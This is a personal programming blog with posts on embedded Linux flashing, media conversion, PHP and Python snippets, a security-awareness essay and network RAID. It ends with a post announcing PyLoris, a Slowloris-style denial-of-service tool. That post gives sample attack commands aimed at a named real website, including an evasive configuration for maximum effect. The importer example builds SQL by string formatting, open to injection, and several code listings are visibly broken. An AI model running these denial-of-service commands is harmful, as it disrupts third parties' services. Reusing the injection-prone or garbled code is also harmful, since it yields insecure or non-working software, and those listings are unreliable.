MotomaSTYLE

Gumstix u-boot 1.2

Thu, 26 Jul 2007 00:00:00 -0400

I took the plunge and, at the risk of bricking my Verdex, updated u-boot. I can only begin to describe the improvements! The process was not nearly as perilous as I anticipated (though I did hold my breath when I rebooted the first time). Noteworthy improvements are the ability to load the kernel directly into the U-Boot environment, and the inclusion of ymodem file transfers over the serial line. The former reduces my boot time to a breathtaking 23 seconds, while the latter reduces rootfs flash time via serial connection by more than half! The process was simple enough: after running a make in the buildroot, you are given three files: rootfs_arm_nofpu.jffs2, u-boot.bin, and uImage. These are your root filesystem, u-boot image, and kernel image, respectively. The first step in the process of the u-boot upgrade is to replace the u-boot image. I used Hyper Terminal to do the transfer using the Kermit protocol:

GUM>loadb a2000000
*In HyperTerminal: Transfer->Send File->u-boot.bin with Kermit protocol*
GUM>protect off all
GUM>era 1:0-1
GUM>cp.b a2000000 0 ${filesize}
GUM>reset

Then I sent the root filesystem image to the device using the ymodem protocol:

GUM>loady a2000000
*In HyperTerminal: Transfer->Send File->rootfs_arm_nofpu.jffs2 with Ymodem protocol*
GUM>pro on 1:0-1 && jera all && cp.b a2000000 40000 ${filesize}

Finally, I installed the kernel image for U-Boot to use. This means that rather than mounting the jffs2 root filesystem then initializing the kernel, U-Boot can start the kernel directly:

GUM>loady a2000000
*In HyperTerminal: Transfer->Send File->uImage with Ymodem protocol*
GUM>katinstall 100000
GUM>katload 100000
GUM>bootm

Please note: these are the steps that worked for me; in all circumstances you should follow the latest instructions listed on The Gumstix Support Wiki. Hope this helps, Motoma

Verdex && Belkin 802.11

Wed, 27 Jun 2007 00:00:00 -0400

With a lot of grunting and groaning, a good amount of grepping through forum posts, and gallons of patience (coffee), I have finally got my verdex board to acknowledge my Belkin F5D7050 and bring the interface up. Due to a small bug in the zd1211rw drivers, the device needs to be brought up before an ESSID can be assigned to it. Without doing so, I would receive a permission denied error for a majority of the iwconfig options:

Error for wireless request "Set &lt;option name&gt;" (&lt;related option code&gt;) :
    SET failed on device &lt;wireless device&gt; ; Operation not permitted.

For me, the hack I used to fix it was:

ifconfig eth0 up
iwconfig eth0 essid any
ifup eth0

I put these files in a shell script, and firing it off brings my interface up without problems.

EDIT: After rereading the discussion threads, I discovered that this is a bug in the softmac implementation, not zd1211rw.

Converting Videos for the iPod Video

Wed, 27 Dec 2006 00:00:00 -0500

Soon after buying my Video iPod, I wanted to put my massive library of videos onto it, so I could watch them on long trips without carrying along my entire laptop. I wrote a small shell script to perform the mundane task of converting for me, using the free, open-source tool ffmpeg (<a href="http://ffmpeg.org">http://ffmpeg.org</a>;).

Shell Script for iPod Video Conversion:

#!/bin/bash # video2ipod conversion script # Christopher Gilbert # September 26, 2006 # # Usage: # video2ipod infile outfile

if [ -z "$2" ]; then echo $0 "infile outfile" else echo "ffmpeg -i `pwd`/$1 -f mp4 -s 320x240 `pwd`/$2" ffmpeg -i "`pwd`/$1" -f mp4 -s 320x240 "`pwd`/$2" fi

After copying this to a file, you must give the script execute permissions: $ chmod +x video2ipod

To run the script, you supply it with a file to convert, as well as the desired output file: $ video2ipod Chemical_Brothers_-_Believe.wmv Chemical_Brothers_-_Believe.mp4

Voila! Your video is ready to be loaded onto your iPod!

Hope this helps, Motoma

Fixing the iRiver H10 20GB MP3 Player

Mon, 11 Sep 2006 00:00:00 -0400

I decided to buy a new toy for myself this weekend. The product: iriver's H10 20GB MP3 Player. I arrived at home and charged it up only to turn it on and realize that the blasted thing would not work out of the box. I struggled for three hours searching online, upgrading firmware, and sitting on the phone with tech support, all with the same outcome: a brick which would could not get past a screen which says "BOOT 1.01 MTP Initialize." In frustration I cried out, but unfortunately for me, Staples was closed by the time I decided to return it. In one last-ditch effort, I scoured the interweb and found instructions for getting my $200 paperweight to play music.

Steps for Repairing my iriver H10 20GB MP3 Player-

1. Attach the player to the PC via the USB cord.

2. Press the reset button with a paperclip.

3. While holding down the O button, power on the device. "USB Connected" is displayed on the screen.

4. In My Computer, there is a new Hard Drive for the H10. Right-click the icon and select Format.

5. Select FAT32 and Select Quick Format. Format the device.

6. Download the H10 Upgrade utility. The site states that this does not work for the 20GB model, BUT THEY ARE LYING (partially).

7. Run the firmware Upgrade utility. It had some problems, and I needed to run it a few times to get it to completely download the firmware upgrade.

8. When the process is done, unplug the iriver, and it will reboot 2 or 3 times.

9. Download the latest MTP Updater. Follow the updating instructions on the site.

After following these instructions, I had a working H10. If you find this useful, leave me a little message.

Motoma

Converting Audio Files to Audio Books for the iPod

Wed, 08 Nov 2006 00:00:00 -0500

Back when I first bought my iPod, I needed a way to convert my Audiobook MP3s to M4Bs, the format iPods recognize as Audiobooks. I used ffmpeg (http://ffmpeg.org) to accomplish this task.

How To convert MP3 files to iPod Audiobook (M4B) files:

First, encode the audio using AAC: $ ffmpeg -i greeting_essare_and_avere.mp3 -acodec aac greetings_essare_and_avare.m4a

Then, rename the file with an m4b extension: $ mv greetings_essare_and_avare.m4a greetings_essare_and_avare.m4b

Yes, it is just that simple.

Hope this helps,

Motoma

Creating a MySQL Data Abstraction Layer in PHP

Fri, 13 Apr 2007 00:00:00 -0400

{EDIT: THIS ARTICLE IS OLD. I HAVE KEPT IT HERE FOR HISTORICAL REASONS, AND IT IS NO LONGER RELEVANT.}

The goal of this tutorial is to design a Data Abstraction Layer (DAL) in PHP, that will allow us to ignore the intricacies of MySQL and focus our attention on our Application Layer and Business Logic. Hopefully, by the end of this guide, you will have a working DAL and learn a little about PHP, MySQL, and Object-Oriented design in the process.

Assumptions: You know PHP and have is set up. You know MySQL and have it set up. You have a cursory knowledge of object-oriented methodologies. You are not a smacktard.

Defining the Project: The purpose of this project is to create a working MySQL DAL to distance ourselves from the menial tasks that are associated with PHP/MySQL systems, such as passing around connection handles and iterating through result sets. We will create an object which will create and maintain our connection to our database, provide us with the tools necessary to perform all of our required SQL queries, properly handle errors, tidily present our data, and keep our application code clean.

Defining the Object: Our Database object will consist of local variables, a constructor, mutators, and methods. I will leave out destructor and scoping from the database class, in order to maintain compatibility with PHP4.

Local Variables: We will need variables to keep track of our connection information, as well as keep track of any open connections we may have. The Constructor: The Constructor for our class will server to create an instance of our Database class. It will provide the class' variables with their initial values. The Mutators: Our class will provide the functionality for changing databases on the fly, therefor we will design it to allow us to alter our connection information, both individually, and as a whole. The Methods: We are designing our DAL to connect to a database, therefor our Database class better have a connect method! Along with connect method, it should have a way of disconnecting, performing queries, and returning results.

Object Parts: Our Database class wills start off simple enough; we need only to define the class and our variables to get the ball rolling:

class Database
{
    var $database_name;
    var $database_user;
    var $database_pass;
    var $database_host;    
    var $database_link;

Next we move on to our constructor. Remember, this will give us the initial values for our database connection, so it is fine if we enter our current information as the default:

    function Database()
    {
        $this->database_user = "motoma";
        $this->database_pass = "bI1dU5";
        $this->database_host = "localhost";
        $this->database_name = "dalDatabase";
    }

Now we move on to our mutators. These will allow us fine-tuned control over our connection data. We will want one method for each variable we want to set. We could also, optionally, create one to set all in one call:

    function changeUser($user)
    {
        $this->database_user = $user;
    }
    
    function changePass($pass)
    {
        $this->database_pass = $pass;
    }
    
    function changeHost($host)
    {
        $this->database_host = $host;
    }
    
    function changeName($name)
    {
        $this->databse_name = $name;
    }
    
    function changeAll($user, $pass, $host, $name)
    {
        $this->database_user = $user;
        $this->database_pass = $pass;
        $this->database_host = $host;
        $this->database_name = $name;
    }

We are really on a roll now! On to our connection related methods. Our connect method will need to establish a connection using the credentials we provide, and let us know when connection errors occur:

    function connect()
    {
        $this->database_link = mysql_connect($this->database_host, $this->database_user, $this->database_pass) or die("Could not make connection to MySQL");
        mysql_select_db($this->database_name) or die ("Could not open database: ". $this->database_name);        
    }

Conversly, the disconnect method will close any connection our class has previously made:

    function disconnect()
    {
        if(isset($this->database_link)) mysql_close($this->database_link); 
        else mysql_close();    
    }

That was not very dificult, was it? On to our methods. The first, and most basic thing we will need to do is perform a query which returns no results. DELETES, UPDATES, and INSERTS fall into this category of query. Before we can perform a query, however, we should check if the database connection has been established. If not, we will need to establish a connection before we perform our query:

    function iquery($qry)
    {
        if(!isset($this->database_link)) $this->connect(); 
        $temp = mysql_query($qry, $this->database_link) or die("Error: ". mysql_error());        
    }

Onto our first result returning query handler. Personally I like working with arrays. Associative arrays make sense when returning a result set, due to the structures in which we commonly see these results displayed. Much like our resultless query handler, we will need to check on our connection before we try anything. It will then perform the query, and iterate through the result set, placing it tidily in an associative array for us to work with.

    function query($qry)
    {
        if(!isset($this->database_link)) $this->connect(); 
        $result = mysql_query($qry, $this->database_link) or die("Error: ". mysql_error());
        $returnArray = array();
        $i=0;
        while ($row = mysql_fetch_array($result, MYSQL_BOTH))
            if ($row)
                $returnArray[$i++]=$row;
        mysql_free_result($result);
        return $returnArray;
    }
}

One could add a few more functions to this list, namely for returning the last inserted id of an auto_increment field and checking for table existence.

Using our DAL: Now that we have a DAL, how do we use it? Here's an example:

<?php
    // Our Database Class
    include("lib/database.php");
    
    $db = new Database(); // Instantiate our Database Class
    $resArr = $db->query("SELECT * FROM users WHERE userid != 1"); // Query!
    
    // $resArr is now an associative array containing the entire result set
    // of the SQL query. We can now use and abuse this data as necessay.
    // In this hypothetical situation, I am returing all of the users in
    // my table except the Administrator
    echo '<table><tr><th>UserID</th><th>UserName</th>';
    echo '<th>RealName</th><th>Homepage</th></tr>';
    foreach($resArr as $user)
    {
        echo '<tr><td>'.$user['userid'].'</td><td>'.$user['username'].'</td>';
        echo '<td>'.$user['realname'].'</td><td>'.$user['homepage'].'</td></tr>';
    }
    echo "</table>";
?> 

Wrap Up: Hopefully this tutorial has shown you how to quickly and easily create a minimal Data Abstraction Layer for your web application. Having a DAL to work with allows us to focus on the Application and Business layers of our applications, without having to go through the monotony of data access.

Hope this helps, Motoma

Thinking Outside the Box with Python

Fri, 18 May 2007 00:00:00 -0400

I recently came across this job posting in the The Scripts Developer Network forums. It has an interesting brain teaser as a requirement for applying. The brain teaser was stated as: "What is the exponent of the largest power of two whose base seven representation doesn't contain three zeros in a row?" The only stipulation was that the applicant use Python to solve the problem.

My Initial Approach: My inital approach to the problem is blunt and straight forward. I build three functions, BaseSeven which takes a number and convert it to base seven, HasThreeZeros which takes a number and checks if it has three zeros in it, and FindWithoutZeros which was the main loop of my program. The code for my problem is listed below:

def BaseSeven(num):
    powersOfSeven = 1;
    res = 0;
    while num / powersOfSeven &gt; 6: powersOfSeven = powersOfSeven * 7
    while powersOfSeven != 1:
        res = res * 10 + int(num / powersOfSeven)
        num = num - int(num / powersOfSeven) * powersOfSeven
        powersOfSeven = powersOfSeven / 7
    res = res * 10 + num
    return res
 
def HasThreeZeros(num):
    return str(num).find("000") != -1
 
def FindWithoutZeros(power):
    lastWithoutThreeZeros = power
    failures = -1
    num = pow(2, power)
    while failures &lt;= lastWithoutThreeZeros:
        if HasThreeZeros(BaseSeven(num)):
           failures = failures + 1
        else:
            failures = 0
            lastWithoutThreeZeros = power
            print power
        power = power + 1
        num = num * 2
        if (float(power) / 100) == int(power / 100): print "CheckPoint:", power
    return lastWithoutThreeZeros
 
print FindWithoutZeros(1)

The solution is quick and dirty, though severely lacking in elegance and speed. The biggest problem with this solution is that the program is constantly performing arithmetic operations on a huge number; when the exponent climbs into the upper thousands, it takes well over a minute to build, convert, and check a single number.

"There is no need for this," I say to myself, "There is a better way to do it."

Round 2: With a new cup of coffee in hand, I begin to further analyze the problem. Rereading the problem, I begin to think about the properties of powers of two: the most important property being that each successive power of two is double the previous. I know this is a pretty rudementary conclusion, however, realizing that the same will hold true for the base seven equivalent is the key to solving this problem efficiently.

I begin constructing a class, titled BaseSevenNumber. I give it a list, named digits, whose elements will contain a single base seven digit. I build a constructor to initialize this list to [1], and a member function titled Double which will handle my "exponentiation." I finish off the class by creating another member, aptly titled HasThreeZeros, to give me the current status of number.

The Double Function: BaseSevenNumber's Double function would hold the key to solving this problem in a timely manner. Rather than perform one arithmetic operation on a huge number, I design my second program to perform many arithmetic operations on a handful of tiny numbers. Iterating through the list, Double doubles each digit in the digits list, and in a second pass, performs all base seven carry operations. the HasThreeZeros function can now quickly traverse the digits list, and return the appropriate status for the current base seven number.

class BaseSevenNumber:
    
    def __init__(self):
        self.digits = [1]
        
    def Double(self):
        for i in range(0, len(self.digits)):
            self.digits = self.digits * 2
        for i in range(len(self.digits) - 1, -1, -1):
            if self.digits &gt; 6:
                self.digits = self.digits - 7
                if i == 0: self.digits.insert(0,1)
                else: self.digits[i - 1] = self.digits[i - 1] + 1
 
    def HasThreeZeros(self):
        for i in range(0, len(self.digits) - 2):
            if self.digits == 0 and self.digits[i + 1] == 0 and self.digits[i + 2] == 0:
                return True
        return False
  
def SolveRiddle(maxFailuresAssumeFound):
    bsn = BaseSevenNumber()
    failures = 0
    power = 1
    while failures &lt; maxFailuresAssumeFound:
        bsn.Double()
        if bsn.HasThreeZeros(): failures = failures + 1
        else:
            failures = 0
            print power
        power = power + 1
 
SolveRiddle(10000)

Thoroughly pleased with my ability to think my way around the problem, I put the code to the test. In a meager 16 seconds, it has given me the answer I am looking for. Talk about using the wrong tools for the job; just because the problem stated "power of two" and "base seven representation" does not mean one should restrict oneself to these methods. A careful and thorough analysis of a problem can give one an efficient, elegant, and fast solution to some of the trickiest of problems.

Turning on PHP Debugging and Error Messages

Thu, 02 Aug 2007 00:00:00 -0400

Debugging messages are a powerful tool; however, many production systems (and test systems for that matter) have them disabled by default. If your PHP script is crashing horribly and you are not getting any runtime error messages, it is likely that this is the case for you.

You can initiate PHP debugging messages for the server by changing the display_errors and error_level settings in php.ini. Unfortunately, this is not the best situation in a production system. Luckily, you can enable error reporting on a page by page basis by simply adding the following lines to the top of your PHP script:

<?php
 
error_reporting(E_ALL);
ini_set('display_errors', True);

The way I like to handle debugging in my systems, is create an include file (aptly labeled lib.debugging.php) that enables error reporting, and exposes my code to a couple of really handy functions:

<?php
$DEBUGGING = True;
$TRACECOUNT = 0;
 
if($DEBUGGING)
{
    error_reporting(E_ALL);
    ini_set('display_errors', True);
)
 
function trace($message)
 
    global $DEBUGGING;
    global $TRACECOUNT;
    if($DEBUGGING)
    {
        echo '<hr />;'.$TRACECOUNT++.'<code>'.$msg.'</code><hr />';
    }
}
 
function tarr($arr)
{
    global $DEBUGGING; 
    global $TRACECOUNT; 
    if($DEBUGGING) 
    { 
        echo '<hr />'.$TRACECOUNT++.'<code>'; 
        print_r($arr); 
        echo '</code><hr />'; 
    } 
} 
 
?>

I include this file at the top of every PHP page. The trace() and tarr() functions allow me to easily format my own debugging code, and $TRACECOUNT presents a nice interface for knowing where a script failed if it halts unexpectedly. By simply toggling the $DEBUGGING variable to false, my code is ready to be tested by QA. When the product is finalize, I remove the include call to lib.debugging.php from my source files altogether. I hope someone finds this useful, Motoma

Daemonizing a Python Script

Fri, 10 Aug 2007 00:00:00 -0400

As my knowledge of Python continues to grow, I find myself using it more in my own systems. This is one of my more useful snippets of code; it allows a Python script to continue running as a daemon even if you log out or your session gets disconnected. A nice side effect of this is that the process is immediately run in the background, returning the user to a command prompt instantly.

I originally picked up the code to run a Python script as a daemon from the Python Cookbook on the ActiveState Programmer Network.

#! /usr/bin/env python
 
from os import fork, chdir, setsid, umask
from sys import exit
 
def main():
  while 1:
    #main daemon process loop
 
# Dual fork hack to make process run as a daemon
if __name__ == "__main__":
  try:
    pid = fork()
    if pid > 0:
      exit(0)
  except OSError, e:
    exit(1)
 
  chdir("/")
  setsid()
  umask(0)
 
  try:
    pid = fork()
    if pid > 0:
      exit(0)
  except OSError, e:
    exit(1)
 
  main()

Hope this is as useful to you as it is to me, Motoma

Security: Perceived Risk versus Potential Damage

Fri, 19 Oct 2007 00:00:00 -0400

All too often, while running the PHP forum on The Scripts, I see students working who are completely ignorant of the security concerns prevalent with the systems that they build. Worse, when alerted to the potential dangers associated with poor programming practices, these coders let loose a variety of excuses why their application doesn't need to implement a security policy. Ranging from "this is a low traffic/internal site" to "I'm doing this as a project for school, so security really isn't an issue." In my eyes all explanations are equally irrelevant. As leaders of the forums, my colleagues and I daily battle assertions about the validity of these concerns.

Ultimately what one should focus on is not the perceived risk, but rather, the most important factor in any security system is the potential damage. If the level of risk is very low, either because the system is a low traffic site, or based on an internal network, that is still no reason to offset it with a low barrier of entry. Instead of assessing the likelihood of being hacked (which is far larger than most would guess), one must analyze the potential damage that a breach may cause. If someone gains elevated permissions and executes a DROP DATABASE on the back-end, is your system royally screwed? If someone gets a dump of the information held in the system, how much information about the system and your clients have they gotten ahold of? Can the information stored in the database be used to deal further (financial, emotional, or physical) damage to its users?

To drive home the potency of this situation, here is a hypothetical situation:

Company Co. is working on a companion application to the popular music software iTunes. The program is currently in open Beta and users can sign up and use the application for free, but it is still undergoing development. The software itself is nothing spectacular; as a companion to iTunes, it indexes your music library and matches your tastes in music with other users who listen to similar music. Not much information is kept about each user, only an email address, password, and list of songs on the user's computer, so security is not a high priority on the developer's todo list. For the time being Company Co. has opted out of SSL between the application front-end and the front-end server. In order to aid in the debugging process, passwords are stored as plain text in the database, and to improve the user experience, username and password are stored locally to expidite the process of logging in. The developers were not fools, so there is a tiered architecture between the application and the database; all connections are run through an application server, and the database is kept from outside access because it has no external IP address.

The application described above certainly does not sound secure, but it is in beta testing and most of the people using it have heard about it through word of mouth or from the developers directly. The end user most certainly wont be stealing their own passwords from the file on their computer, will they? And if a user has someone sneaking on to their computer and stealing files, they have a bigger problem than just a password kicking around! If the user happens to fire up the application on a laptop in a public area, what have they lost? Do they really care that that geek in the corner knows they listen to Justin Timberlake? Big deal!

While driving through the city, a kid decides to fire up the old laptop to see what movies are playing. Pulling into a parking lot, the kid quickly sees that Company Co. has a WEP encrypted wireless network. No worry for the kid though, there is a lot of traffic, so getting the IVs takes not more than a couple of minutes. Spiderman 3 is playing at the second run cinema, but while the laptop is running, why not fire up ethereal for kicks...what is this? The kid notices a lot of plain text traffic kicking around: curiosity must be its own rewards, so the kid investigates. After seeing a number of email addresses and passwords flying around the kid stumbles upon the yet to go live web server with an active download for the software. After a quick install and a bit of playing around the kid decides to test one of the logins snagged earlier against, not to the software, but to iTunes itself. Worked like magic: this user was lackadaisical in choosing passwords and used the same user name and password combination for both iTunes and the companion software! Pressing the user's credentials further the kid fires up PayPal and logs in successfully as well.

Depending on the attack vector, the vulnerabilities in this software can have a ranging scope of destruction. Sniffing at the user's end results in a user's credentials being compromised, while sniffing at the server's end results in a larger number of users having their information revealed. Further still, were the database to be compromised, the entire user base would be subject to damage, through the various online banking institutions.

This danger does not lie solely in the imagination of security analysts and hackers. This threat is real. TJX lost over $1 billion out a wireless router which was set to use WEP security. Companies do store passwords in plain-text. People do use the same email address and password for multiple sites. Kids can read traffic as it passes through those beautiful tubes called the internet. The moral here is this: it is not the information that you hold, but rather what that information means to the people whom it is about.

For further reading on the matter, Dark Readings had a sobering article titled Small Business: Hackers' Low-Hanging Fruit. Webroot has a companion article about the unseen risk that SMBs are subject to. You can find out a little more about the TJX breach here.

Network RAID Storage: Proof of Concept

Sat, 29 Dec 2007 00:00:00 -0500

I recently discovered a post on Hack a Day linking to a proof of concept how-to on setting up a software RAID on FTP servers. While the guide is a simple approach to running a network based RAID 5 configuration, a number of tools the original developer used are less than optimal. First, the set up requires both Windows and Linux, meaning you will either need two physical machines, or a virtualized machine in your configuration. The second, and larger problem is that it is restricted to RAID 5 and FTP servers. This article is my attempt to alleviate both of these issues.

The goals of this project will be simple: establish a software RAID configuration that supports all of the common RAID levels, works across network share protocol, works with any number of network shares, works with different types of network shares simultaneously, and is based entirely on open source software. Simple.

To start, this proof of concept has two network shares mounted an NFS share and an SMB share:

MotomaSTYLE raiddemo # ls -la
total 4
drwxr-xr-x  4 root root 80 Dec 27 21:49 ./
drwxr-xr-x 33 root root 80 Dec 27 21:49 ../
drwxr-xr-x  2 root root 80 Dec 27 21:49 nfsmountpoint/
drwxr-xr-x  2 root root 80 Dec 27 21:49 smbmountpoint/

Software RAID is nothing new in the Linux world and has been around for ages in the form of the raidtools package. Raidtools itself is difficult to use and maintain, and its feature set is limited. For those reasons, the project will rely on the mdadm tool to facilitate the network RAID architecture. The benefits mdadm is that it supports all of the major RAID levels, works on any properly partitioned device, and it a breeze to use.

The difficult part of this project is the process of allocating space on the remote servers in such a way that you are able to feed them to mdadm as devices. Luckily, "everything is considered a file" in Linux, and devices such as hard disks are no exception. With hard disks considered files, there is no reason why files could not be considered hard disks. The first task to complete is to set up a regular file on each share, filled to the appropriate size. In this example, each "disk" file will be approximately 1GB:

MotomaSTYLE raiddemo # dd of=nfsmountpoint/image bs=1024 count=0 seek=1M
0+0 records in
0+0 records out
0 bytes (0 B) copied, 0.000592534 seconds, 0.0 kB/s
MotomaSTYLE raiddemo # dd of=smbmountpoint/image bs=1024 count=0 seek=1M
0+0 records in
0+0 records out
0 bytes (0 B) copied, 29.2139 seconds, 0.0 kB/s

The next step in the process is to partition each "disk" file in a way that will allow mdadm to use them in the RAID. Using fdisk the proper partition type is "Linux raid autodetect":

MotomaSTYLE raiddemo # fdisk smbmountpoint/image
Device contains neither a valid DOS partition table, nor Sun, SGI or OSF disklabel
Building a new DOS disklabel. Changes will remain in memory only,
until you decide to write them. After that, of course, the previous
content won't be recoverable.
 
You must set cylinders.
You can do this from the extra functions menu.
Warning: invalid flag 0x0000 of partition table 4 will be corrected by w(rite)
 
Command (m for help): x
 
Expert command (m for help): c
Number of cylinders (1-1048576): 1024
 
Expert command (m for help): r
 
Command (m for help): n
Command action
   e   extended
   p   primary partition (1-4)
p
Partition number (1-4): 1
First cylinder (1-1024, default 1): 1
Last cylinder or +size or +sizeM or +sizeK (1-1024, default 1024): 1024
 
Command (m for help): t
Selected partition 1
Hex code (type L to list codes): fd
Changed system type of partition 1 to fd (Linux raid autodetect)
 
Command (m for help): w
The partition table has been altered!
 
Calling ioctl() to re-read partition table.
 
WARNING: Re-reading the partition table failed with error 22: Invalid argument.
The kernel still uses the old table.
The new table will be used at the next reboot.
Syncing disks.

At this point, the files are "partitioned," however, they are not in a usable state. The partitions cannot be fed to mdadm until they are recognized as devices. For this, two loop devices are made using the mknod tool. The major number for a loop device is 7; the minor revision numbers were chosen to avoid existing loop devices as the test machine had 0-99 already:

MotomaSTYLE raiddemo # mknod -m660 loopnfs b 7 100
MotomaSTYLE raiddemo # mknod -m660 loopsmb b 7 101

In order to attach the "partitions" of the "disks" to the loop devices the offset of each partition must be known. Fdisk will display this information with the -ul flag:

MotomaSTYLE raiddemo # fdisk -ul nfsmountpoint/image
You must set cylinders.
You can do this from the extra functions menu.
 
Disk nfsmountpoint/image: 0 MB, 0 bytes
255 heads, 63 sectors/track, 0 cylinders, total 0 sectors
Units = sectors of 1 * 512 = 512 bytes
 
              Device Boot      Start         End      Blocks   Id  System
nfsmountpoint/image1              63    16450559     8225248+  fd  Linux raid autodetect
MotomaSTYLE raiddemo # fdisk -ul smbmountpoint/image
You must set cylinders.
You can do this from the extra functions menu.
 
Disk smbmountpoint/image: 0 MB, 0 bytes
255 heads, 63 sectors/track, 0 cylinders, total 0 sectors
Units = sectors of 1 * 512 = 512 bytes
 
              Device Boot      Start         End      Blocks   Id  System
smbmountpoint/image1              63    16450559     8225248+  fd  Linux raid autodetect

By multiplying the Start by the Unit size the proper offset for the partition is achieved. In this case 63 * 512 yields 32256, the number to feed to losetup when binding the partitions to the loop devices:

MotomaSTYLE raiddemo # losetup -o 32256 loopnfs nfsmountpoint/image
MotomaSTYLE raiddemo # losetup -o 32256 loopsmb smbmountpoint/image

One last thing that mdadm requires to set up a software RAID is an "md" device. Once again mknod is used, this time with a major number of 9, and a minor number that will not conflict with existing devices:

MotomaSTYLE raiddemo # mknod raiddev b 9 100

Now combine the "disks" in a software RAID, in this test I will create (-C) a RAID level 5 (-l5) device (raiddev) from two (-n2) existing devices (loopnfs and loopsmb):

MotomaSTYLE raiddemo # mdadm -C -v raiddev -l5 -n2 loopnfs loopsmb
mdadm: layout defaults to left-symmetric
mdadm: chunk size defaults to 64K
mdadm: size set to 1048448K

At this point in the test system, the two files located on the network shares (nfsmountpoint/image and smbmountpoint/image) are mapped to loop devices (loopnfs and loopsmb), which have been combined in a software RAID to form one device (raiddev). In order to utilize the new disk that has been created, it must first be formatted:

mdadm: array raiddev started.
MotomaSTYLE raiddemo # mke2fs raiddev
mke2fs 1.38 (30-Jun-2005)
Filesystem label=
OS type: Linux
Block size=4096 (log=2)
Fragment size=4096 (log=2)
131072 inodes, 262112 blocks
13105 blocks (5.00%) reserved for the super user
First data block=0
8 block groups
32768 blocks per group, 32768 fragments per group
16384 inodes per group
Superblock backups stored on blocks:
        32768, 98304, 163840, 229376
 
Writing inode tables: done
Writing superblocks and filesystem accounting information: done
 
This filesystem will be automatically checked every 20 mounts or
180 days, whichever comes first.  Use tune2fs -c or -i to override.

And then mounted:

MotomaSTYLE raiddemo # mkdir raidmount
MotomaSTYLE raiddemo # mount raiddev raidmount/
MotomaSTYLE raiddemo # ls -la raidmount
total 20
drwxr-xr-x 3 root root  4096 Dec 27 22:25 ./
drwxr-xr-x 5 root root   160 Dec 27 22:27 ../
drwx------ 2 root root 16384 Dec 27 22:25 lost+found/

There you have it. If you have followed along, you now have a network based RAID device. If you find this article useful, interesting, offensive, or stupid, please leave me a note or send me an email.

References:

A Simple Extension to the Python CSV Object

Sun, 22 Jun 2008 00:00:00 -0400

One of the side effects of working with database driven software is that you eventually find yourself needing to pull in large amounts of information from old and terrible systems. When talking to your counterparts on the other side of the line (the inter-company line, that is), you will invariably be told that you will only receive your data in one of a few straight forward formats. What follows is a small extension to Python's CSV object which streamlines the process of coding these data transformations.

Simply put, Python's CSV object is more than enough to handle any conversion; however, in order to make my life even simpler, I made the following wrapper:

#! /usr/bin/env python
 
# CSVFileHandler.py
 
import csv
 
class CSVFileHandler:
 
   def __init__(self, filename):
      self.open(filename)
 
   def __del__(self):
      self.close()
 
   def open(self, filename):
      self.file = open(filename, 'r')
      self.reader = csv.reader(self.file)
 
   def close(self):
      self.file.close()
 
   def process(self, function, args):
      for row in self.reader:
         function(row, args)
 

Here, the process accepts a function object, and an argument (tuple most likely). The CSVFileHandler object will execute the function on each line of the file, making the main loop of your processing code a meek 3 lines long. Take, for example, the following code:

#! /usr/bin/env python
 
# dsimport.py
 
import sys
from CSVFileHandler import CSVFileHandler
 
def main(ifile, ofile):
 
   writer = open(ofile, 'w')
   
   def processFile(line, args):
      query = """INSERT INTO `trans` (`trans_code_id`, `generic_descriptor`, `amount`, `personal_information`, `related_id`, `created`, `last_modified`)
         (SELECT %s, '%s', %s, '%s', c.client_id, '%s', '%s' FROM client c WHERE c.username = '%s');""" % (line[1], line[0], line[14], line[14], line[3], line[32], line[4])
      print>>writer, query
         
   handler = CSVFileHandler(ifile)
   handler.process(processFile, ())
   
def usage():
   print "dsimport.py <csv filename> <sql output filename>\n"
   
if __name__ == "__main__":
   if len(sys.argv) == 3:
      main(sys.argv[1], sys.argv[2])
   else:
      usage()
      sys.exit(2)
 

The code listing above quickly parses through that old CSV file and leaves with with a shiney new SQL data file to load into your database.

PyLoris: A Python implementation of Slowloris

Fri, 19 Jun 2009 00:00:00 -0400

I came across a wonderful idea on Hack a Day recently: a Denial of Service attack that overwhelms only the service under attack. After reading through RSnake's two writeups, I decided to take a swing at the code. Thus PyLoris was born.

[More information about this tool can be found here!]

RSnake's tool, Slowloris, is elegant and effective. Its basic principal is that it sends a large number of HTTP requests to a webserver, keeping the connections open for extended periods of time by continuing to send headers to the server. Because Slowloris never completes a request, and because the popular webservers limit the number of concurrent requests allowed, this will eventually fill all usable connections to the server. The nice side effect of this is that the webserver is the only service that is affected; the network and memory are undamaged leaving all other services on the system fully operational.

PyLoris is written entirely in Python, utilizes only standard modules, is OS and platform independent, and is less than 100 lines of code. It runs a little differently than Slowloris, in that it throttles the entire request, allows users to specify the bandwidth for the connection as well as how large the request is. Unfortunately, the brevity of the code does not leave room for SSL/TLS handling, so only HTTP is supported for the time being.

Here is a brief description of the things PyLoris can do:

Usage: pyloris.py [options] www.host.com Options: -h, --help show this help message and exit -c COUNT, --count=COUNT Number of requests to perform (default = 50) -f, --finish Complete each session rather than leave them unfinished (lessens the effectiveness) -g GET, --get=GET Page to request from the server (default = /) -l, --loop Loop indefinitely (overrides -c) -p PORT, --port=PORT Port to initiate attack on (default = 80) -s SIZE, --size=SIZE Size of data segment to attach in cookie (default = 0) -t THROTTLE, --throttle=THROTTLE Throttle each request, bytes per second (default = 1) -u USERAGENT, --useragent=USERAGENT The User-Agent string for connections (defaut = pyloris) -w WAIT, --wait=WAIT Seconds between starting sessions (default = 1)

If a user wanted to run a basic test against NOM, it would be as simple as:

$ ./pyloris www.nationformarriage.org

But this is hardly a thorough test, there is a lot to be done to improve it,

(1) it limits the total number of requests made to a meager 50

(2) it sends a relatively small request

(3) it requests a page that doesn't exists

(4) it advertises PyLoris in the User-Agent (err...)

A more malicious individual might perform a test like so:

$ ./pyloris www.nationformarriage.org -l -s 600000 -g "/site/c.omL2KeN0LzH/b.3836955/k.BEC6/Home.htm"-u "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.31 Safari/530.5" -w 0.1 -t 25

This test will pound the server with an unyeilding number of requests, each request over 600 kB in length, starting 10 connections per second, each throttled at 25 B/s, and masquerading as Google Chrome.

As stated before, PyLoris runs on Linux, Windows, and Mac OS X. Additionally, it should work on any platform capable of running Python with Threads. If you download the script and find any errors or bugs to report, please submit them via SourceForge.